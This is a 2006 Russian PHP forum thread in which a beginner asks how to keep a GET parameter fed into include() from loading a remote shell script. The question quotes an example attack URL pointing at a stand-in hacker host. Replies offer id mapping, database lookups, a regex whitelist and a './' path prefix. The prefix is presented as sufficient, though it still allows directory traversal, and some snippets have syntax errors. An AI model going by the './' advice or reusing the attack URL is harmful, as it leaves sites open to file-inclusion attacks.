Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Защита GET
 
 автор: Sasha   (14.01.2006 в 23:04)   письмо автору
 
 

Подскажите как можно защитится от передачи в include неверного параметра, точнее:

qwe.php?file=index.php ---- я передаю

qwe.php?file=http://хатскерсайт/shell.php ---- как от этого защититься??!!

   
 
 автор: Unkind™   (14.01.2006 в 23:09)   письмо автору
 
   для: Sasha   (14.01.2006 в 23:04)
 

Просто старайся вообще заменять файлы какими-то id'ами...
Например, qwe.php?id=1
Может и придется заменять каждую страницу своим идом, но так будет надежнее...

   
 
 автор: Юный Хакер   (14.01.2006 в 23:29)
 
   для: Unkind™   (14.01.2006 в 23:09)
 

А можно хранить все адреса модулей в базе

<?php
//Подключение модуля
$query=mysql_query("SELECT * FROM site_modules");
While (
$result=mysql_fetch_array($query))
{
if (
$result['title']==$module) {include "modules/".$result['file'];$ok='true';break;}
}
if (
$ok!='true') {echo 'Модуль не найден!;}
?> 

формат таблицы id|title|file

   
 
 автор: Sasha   (14.01.2006 в 23:35)   письмо автору
 
   для: Sasha   (14.01.2006 в 23:04)
 

А насколько поможет такая конструкция

$patern = "|^[ a-z,A-Z,@,_,-,-,0-9,.,.]+$|i";
if(!preg_match($patern, stripslashes($_GET['file']))) exit( "Неверный запрс");

include "lala/".$_GET['file];

Запретим /
Тоесть обязательно ли для загрузки левого скрипта прописывать к нему путь через http://

   
 
 автор: Sasha   (15.01.2006 в 10:40)   письмо автору
 
   для: Sasha   (14.01.2006 в 23:35)
 

Подскажите плиз, вопрос оч. актуален...

   
 
 автор: Unkind™   (15.01.2006 в 11:04)   письмо автору
 
   для: Sasha   (15.01.2006 в 10:40)
 

>А насколько поможет такая конструкция
Попробуй и все...

   
 
 автор: Sasha   (15.01.2006 в 11:22)   письмо автору
 
   для: Unkind™   (15.01.2006 в 11:04)
 

Я конечно пробова, адресс http://...........не напишешь, может я просто не все учел, и можно написать по другому, без /

   
 
 автор: PantiL   (15.01.2006 в 11:44)   письмо автору
 
   для: Sasha   (15.01.2006 в 11:22)
 

Когда принимаете параметр , например site.com?n=index.php, подключайте этот файл вот так

include "./".$_GET['n'];

т.е. указываете перед именем файла ./ (ну или какой там у вас путь к подключаемому файлу)- это будет говорить скрипту подключать файл из директории, находящейся на вашем же хосте, следовательно ни оди удаленный файл злодей не сможет подключить.

А лучше всего не передавать имена файлов в качестве параметра

   
 
 автор: Sasha   (15.01.2006 в 11:57)   письмо автору
 
   для: PantiL   (15.01.2006 в 11:44)
 

Ага. спасибо.


Я только пытаюсь начать постигать php ......спасибо.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования